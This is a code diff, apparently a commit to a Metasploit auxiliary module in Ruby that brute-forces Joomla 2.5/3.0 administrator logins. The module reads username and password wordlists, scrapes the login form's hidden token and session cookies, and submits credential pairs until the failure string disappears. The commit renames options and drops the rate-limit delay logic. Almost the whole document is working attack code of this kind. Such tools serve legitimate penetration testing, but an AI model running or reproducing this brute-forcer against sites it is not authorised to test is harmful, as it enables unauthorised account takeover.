@@ -17,9 +17,9 @@ class Metasploit3 < Msf::Auxiliary
17
17
18
18
def initialize
19
19
super (
20
- 'Name' => 'BruteForce Joomla 2.5 or 3.0 ' ,
20
+ 'Name' => 'Joomla Bruteforce Login Utility ' ,
21
21
'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks' ,
22
- 'Author' => [ 'luisco100[at]gmail[dot] com' ] ,
22
+ 'Author' => [ 'luisco100[at]gmail. com' ] ,
23
23
'References' =>
24
24
[
25
25
[ 'CVE' , '1999-0502' ] # Weak password Joomla
@@ -35,23 +35,20 @@ def initialize
35
35
File . join ( Msf ::Config . data_directory , "wordlists" , "http_default_users.txt" ) ] ) ,
36
36
OptPath . new ( 'PASS_FILE' , [ false , "File containing passwords, one per line" ,
37
37
File . join ( Msf ::Config . data_directory , "wordlists" , "http_default_pass.txt" ) ] ) ,
38
- OptString . new ( 'AUTH_URI' , [ false , "The URI to authenticate against (default:auto)" , "/administrator/index.php" ] ) ,
38
+ OptString . new ( 'AUTH_URI' , [ true , "The URI to authenticate against (default:auto)" , "/administrator/index.php" ] ) ,
39
39
OptString . new ( 'FORM_URI' , [ false , "The FORM URI to authenticate against (default:auto)" , "/administrator" ] ) ,
40
- OptString . new ( 'USER_VARIABLE' , [ false , "The name of the variable for the user field" , "username" ] ) ,
41
- OptString . new ( 'PASS_VARIABLE' , [ false , "The name of the variable for the password field" , "passwd" ] ) ,
42
- OptString . new ( 'WORD_ERROR' , [ false , "The word of message for detect that login fail" , "mod-login-username" ] ) ,
43
- OptString . new ( 'WORD_ERROR_2' , [ false , "Second option for the word of message for detect that login fail" , "login.html" ] ) ,
44
- OptString . new ( 'WORD_ERROR_DELAY' , [ false , "The word of message for active the delay time" , "por favor intente de nuevo en un minuto" ] ) ,
45
- OptInt . new ( 'TIME_DELAY' , [ false , 'The delay time ' , 0 ] ) ,
46
- OptString . new ( 'REQUESTTYPE' , [ false , "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)" , "POST" ] ) ,
40
+ OptString . new ( 'USER_VARIABLE' , [ false , "The name of the variable for the user field" , "username" ] ) ,
41
+ OptString . new ( 'PASS_VARIABLE' , [ false , "The name of the variable for the password field" , "passwd" ] ) ,
42
+ OptString . new ( 'WORD_ERROR' , [ false , "The word of message for detect that login fail" , "mod-login-username" ] ) ,
43
+ OptString . new ( 'REQUEST_TYPE' , [ false , "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)" , "POST" ] ) ,
47
44
OptString . new ( 'UserAgent' , [ true , 'The HTTP User-Agent sent in the request' , 'Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0' ] ) ,
48
45
] , self . class )
49
46
register_autofilter_ports ( [ 80 , 443 , 8080 , 8081 , 8000 , 8008 , 8443 , 8444 , 8880 , 8888 ] )
50
47
end
51
48
52
49
def find_auth_uri
53
50
54
- if datastore [ 'AUTH_URI' ] and datastore [ 'AUTH_URI' ] . length > 0
51
+ if datastore [ 'AUTH_URI' ] && datastore [ 'AUTH_URI' ] . length > 0
55
52
paths = [ datastore [ 'AUTH_URI' ] ]
56
53
else
57
54
paths = %W{
@@ -66,15 +63,15 @@ def find_auth_uri
66
63
'method' => 'GET'
67
64
} , 10 )
68
65
69
- next if not res
70
- if res . code == 301 or res . code == 302 and res . headers [ 'Location' ] and res . headers [ 'Location' ] !~ /^http/
66
+ next unless res
67
+ if res . code == 301 || res . code == 302 && res . headers [ 'Location' ] && res . headers [ 'Location' ] !~ /^http/
71
68
path = res . headers [ 'Location' ]
72
69
vprint_status ( "Following redirect: #{ path } " )
73
70
res = send_request_cgi ( {
74
71
'uri' => path ,
75
72
'method' => 'GET'
76
- } , 10 )
77
- next if not res
73
+ } )
74
+ next unless res
78
75
end
79
76
80
77
return path
@@ -85,20 +82,16 @@ def find_auth_uri
85
82
86
83
def target_url
87
84
proto = "http"
88
- if rport == 443 or ssl
85
+ if rport == 443 || ssl
89
86
proto = "https"
90
87
end
91
88
"#{ proto } ://#{ rhost } :#{ rport } #{ @uri . to_s } "
92
89
end
93
90
94
91
def run_host ( ip )
95
- if ( datastore [ 'REQUESTTYPE' ] == "PUT" ) and ( datastore [ 'AUTH_URI' ] == "" )
96
- print_error ( "You need need to set AUTH_URI when using PUT Method !" )
97
- return
98
- end
92
+
99
93
@uri = find_auth_uri
100
94
101
- time_delay = datastore [ 'REQUESTTYPE' ]
102
95
if ! @uri
103
96
print_error ( "#{ target_url } No URI found that asks for HTTP authentication" )
104
97
return
@@ -109,8 +102,7 @@ def run_host(ip)
109
102
print_status ( "Attempting to login to #{ target_url } " )
110
103
111
104
each_user_pass { |user , pass |
112
- datastore [ 'REQUESTTYPE' ] = time_delay
113
- do_login ( user , pass )
105
+ do_login ( user , pass )
114
106
}
115
107
end
116
108
@@ -126,37 +118,33 @@ def do_login(user='admin', pass='admin')
126
118
return :next_user
127
119
else
128
120
vprint_error ( "#{ target_url } - Failed to login as '#{ user } '" )
129
- if result == :delay
130
- print_status ( "Establishing one minute delay" )
131
- userpass_sleep_interval_add
132
- end
133
121
return
134
122
end
135
123
end
136
124
137
125
def do_http_login ( user , pass )
138
-
126
+
139
127
@uri_mod = @uri
140
128
141
- if datastore [ 'REQUESTTYPE' ] == "GET"
129
+ if datastore [ 'REQUEST_TYPE' ] == "GET"
130
+
131
+ @uri_mod = "#{ @uri } ?username=#{ user } &psd=#{ pass } "
142
132
143
- @uri_mod = "#{ @uri } ?username=#{ user } &psd=#{ pass } "
144
-
145
133
begin
146
134
response = send_request_cgi ( {
147
135
'uri' => @uri_mod ,
148
- 'method' => datastore [ 'REQUESTTYPE ' ] ,
136
+ 'method' => datastore [ 'REQUEST_TYPE ' ] ,
149
137
'username' => user ,
150
138
'password' => pass
151
139
} )
152
- return response
153
- rescue ::Rex ::ConnectionError
154
- vprint_error ( "#{ target_url } - Failed to connect to the web server" )
155
- return nil
156
- end
140
+ return response
141
+ rescue ::Rex ::ConnectionError
142
+ vprint_error ( "#{ target_url } - Failed to connect to the web server" )
143
+ return nil
144
+ end
157
145
else
158
146
159
- begin
147
+ begin
160
148
161
149
user_var = datastore [ 'USER_VARIABLE' ]
162
150
pass_var = datastore [ 'PASS_VARIABLE' ]
@@ -167,60 +155,62 @@ def do_http_login(user,pass)
167
155
uid , cval , hidden_value = get_login_cookie
168
156
169
157
if uid
170
- indice = 0
158
+ index_cookie = 0
171
159
value_cookie = ""
172
- #print_status("Longitud : #{uid.length}")
173
- uid . each do |val_uid |
174
- value_cookie = value_cookie + "#{ val_uid . strip } =#{ cval [ indice ] . strip } ;"
175
- indice = indice +1
160
+
161
+ uid . each do |val_uid |
162
+ value_cookie = value_cookie + "#{ val_uid . strip } =#{ cval [ index_cookie ] . strip } ;"
163
+ index_cookie = index_cookie +1
176
164
end
165
+
177
166
value_cookie = value_cookie
178
- print_status ( " Value of cookie ( #{ value_cookie } ), Hidden ( #{ hidden_value } =1 )")
167
+ vprint_status ( "Target #{ target_url } , Value of cookie ( #{ value_cookie } ), Hidden ( #{ hidden_value } =1 )")
179
168
180
- data = "#{ user_var } =#{ user } &"
181
- data << "#{ pass_var } =#{ pass } &"
182
- data << "lang=&"
183
- data << "option=com_login&"
184
- data << "task=login&"
185
- data << "return=aW5kZXgucGhw&"
186
- data << "#{ hidden_value } =1"
169
+ data = "#{ user_var } =#{ user } &" \
170
+ "#{ pass_var } =#{ pass } &" \
171
+ "lang=&" \
172
+ "option=com_login&" \
173
+ "task=login&" \
174
+ "return=aW5kZXgucGhw&" \
175
+ "#{ hidden_value } =1"
187
176
188
- response = send_request_raw ( {
177
+ response = send_request_cgi ( {
189
178
'uri' => @uri_mod ,
190
- 'method' => datastore [ 'REQUESTTYPE ' ] ,
179
+ 'method' => datastore [ 'REQUEST_TYPE ' ] ,
191
180
'cookie' => "#{ value_cookie } " ,
192
181
'data' => data ,
193
- 'headers' =>
194
- {
195
- 'Content-Type' => ctype ,
196
- 'Referer' => referer_var ,
197
- 'User-Agent' => datastore [ 'UserAgent' ] ,
198
- } ,
199
- } , 30 )
200
-
201
- vprint_status ( "First Response Code : #{ response . code } " )
202
-
203
- if ( response . code == 301 or response . code == 302 or response . code == 303 ) and response . headers [ 'Location' ]
204
-
182
+ 'headers' =>
183
+ {
184
+ 'Content-Type' => ctype ,
185
+ 'Referer' => referer_var ,
186
+ 'User-Agent' => datastore [ 'UserAgent' ] ,
187
+ } ,
188
+ } )
189
+
190
+ vprint_status ( "#{ target_url } -> First Response Code : #{ response . code } " )
191
+
192
+ if ( response . code == 301 || response . code == 302 || response . code == 303 ) && response . headers [ 'Location' ]
193
+
205
194
path = response . headers [ 'Location' ]
206
195
print_status ( "Following redirect Response: #{ path } " )
207
196
208
197
response = send_request_raw ( {
209
198
'uri' => path ,
210
199
'method' => 'GET' ,
211
200
'cookie' => "#{ value_cookie } " ,
212
- } , 30 )
201
+ } , 30 )
213
202
end
214
203
215
204
return response
216
205
else
217
206
print_error ( "#{ target_url } - Failed to get Cookies" )
218
- end
207
+ return nil
208
+ end
219
209
rescue ::Rex ::ConnectionError
220
210
vprint_error ( "#{ target_url } - Failed to connect to the web server" )
221
211
return nil
222
- end
223
- end
212
+ end
213
+ end
224
214
end
225
215
226
216
def determine_result ( response )
@@ -229,36 +219,28 @@ def determine_result(response)
229
219
return :abort unless response . code
230
220
231
221
if [ 200 , 301 , 302 ] . include? ( response . code )
232
-
233
- #print_status("Respuesta: #{response.headers}")
234
- #print_status("Respuesta Code: #{response.body}")
235
-
236
- if response . to_s . include? datastore [ 'WORD_ERROR_DELAY' ]
237
- return :delay
238
- else
239
- if response . to_s . include? datastore [ 'WORD_ERROR' ] or response . to_s . include? datastore [ 'WORD_ERROR_2' ]
240
- return :fail
241
- else
242
- return :success
243
- end
244
- end
222
+
223
+ #print_status("Response: #{response.headers}")
224
+ #print_status("Response Code: #{response.body}")
225
+
226
+ if response . to_s . include? datastore [ 'WORD_ERROR' ]
227
+ return :fail
228
+ else
229
+ return :success
230
+ end
231
+
245
232
end
246
233
return :fail
247
234
end
248
235
249
- def userpass_sleep_interval_add
250
- sleep_time = datastore [ 'TIME_DELAY' ]
251
- ::IO . select ( nil , nil , nil , sleep_time ) unless sleep_time == 0
252
- end
253
-
254
236
def get_login_cookie
255
-
237
+
256
238
uri = normalize_uri ( datastore [ 'FORM_URI' ] )
257
- uid = ''
258
- cval = ''
239
+ uid = Array . new
240
+ cval = Array . new
259
241
valor_input_id = ''
260
242
261
- res = send_request_raw ( { 'uri' => uri , 'method' => 'GET' , } )
243
+ res = send_request_cgi ( { 'uri' => uri , 'method' => 'GET' } )
262
244
263
245
if ( res . code == 301 )
264
246
path = res . headers [ 'Location' ]
@@ -269,42 +251,39 @@ def get_login_cookie
269
251
} , 10 )
270
252
end
271
253
272
- #print_status("respuesta Get login cookie: #{res.to_s}")
273
-
274
- if res and res . code == 200 and res . headers [ 'Set-Cookie' ]
275
- #Idetificar formulario login y obtener la variable de validacion de session de Joomla
276
- if res . body and res . body =~ /<form action=([^\> ]+)\> (.*)<\/ form>/mi
277
-
278
- #form = res.body.split(/<form action=([^\>]+) id="login-form" class="form-inline"\>(.*)<\/form>/mi)
279
- form = res . body . split ( /<form action=([^\> ]+) method="post" id="form-login"\> (.*)<\/ form>/mi )
280
- #print_status("#{form[1]}")
281
-
282
- if form . length == 1 #No es Joomla 2.5
254
+ #print_status("Response Get login cookie: #{res.to_s}")
255
+
256
+ if res && res . code == 200 && res . headers [ 'Set-Cookie' ]
257
+ #Identify login form and get the session variable validation of Joomla
258
+ if res . body && res . body =~ /<form action=([^\> ]+)\> (.*)<\/ form>/mi
259
+
260
+ form = res . body . split ( /<form action=([^\> ]+) method="post" id="form-login"\> (.*)<\/ form>/mi )
261
+
262
+ if form . length == 1 #is not Joomla 2.5
283
263
print_error ( "Testing Form Joomla 3.0" )
284
264
form = res . body . split ( /<form action=([^\> ]+) method="post" id="form-login" class="form-inline"\> (.*)<\/ form>/mi )
285
265
end
286
266
287
- if not form
288
- print_error ( "Joomla Form Not Found" )
289
- form = res . body . split ( /<form id="login-form" action=([^\> ]+)\> (.*)<\/ form>/mi )
290
- end
291
-
292
- input_hidden = form [ 2 ] . split ( /<input type="hidden"([^\> ]+)\/ >/mi )
293
- #print_status("Formulario Encontrado #{form[2]}")
294
- print_status ( "--------> Joomla Form Found <--------" )
295
- #print_status("Campos Ocultos #{input_hidden[7]}")
296
- input_id = input_hidden [ 7 ] . split ( "\" " )
297
- #print_status("valor #{input_id[1]}")
298
- valor_input_id = input_id [ 1 ]
267
+ unless form
268
+ print_error ( "Joomla Form Not Found" )
269
+ form = res . body . split ( /<form id="login-form" action=([^\> ]+)\> (.*)<\/ form>/mi )
270
+ end
271
+
272
+ input_hidden = form [ 2 ] . split ( /<input type="hidden"([^\> ]+)\/ >/mi )
273
+
274
+ print_status ( "--------> Joomla Form Found <--------" )
275
+
276
+ input_id = input_hidden [ 7 ] . split ( "\" " )
277
+
278
+ valor_input_id = input_id [ 1 ]
299
279
end
300
280
301
281
#Get the name of the cookie variable Joomla
302
- uid = Array . new
303
- cval = Array . new
282
+
304
283
#print_status("cookie = #{res.headers['Set-Cookie']}")
305
284
res . headers [ 'Set-Cookie' ] . split ( ';' ) . each { |c |
306
- if c . split ( '=' ) [ 0 ] . length > 10
307
- uid . push ( c . split ( '=' ) [ 0 ] )
285
+ if c . split ( '=' ) [ 0 ] . length > 10
286
+ uid . push ( c . split ( '=' ) [ 0 ] )
308
287
cval . push ( c . split ( '=' ) [ 1 ] )
309
288
end
310
289
}
0 commit comments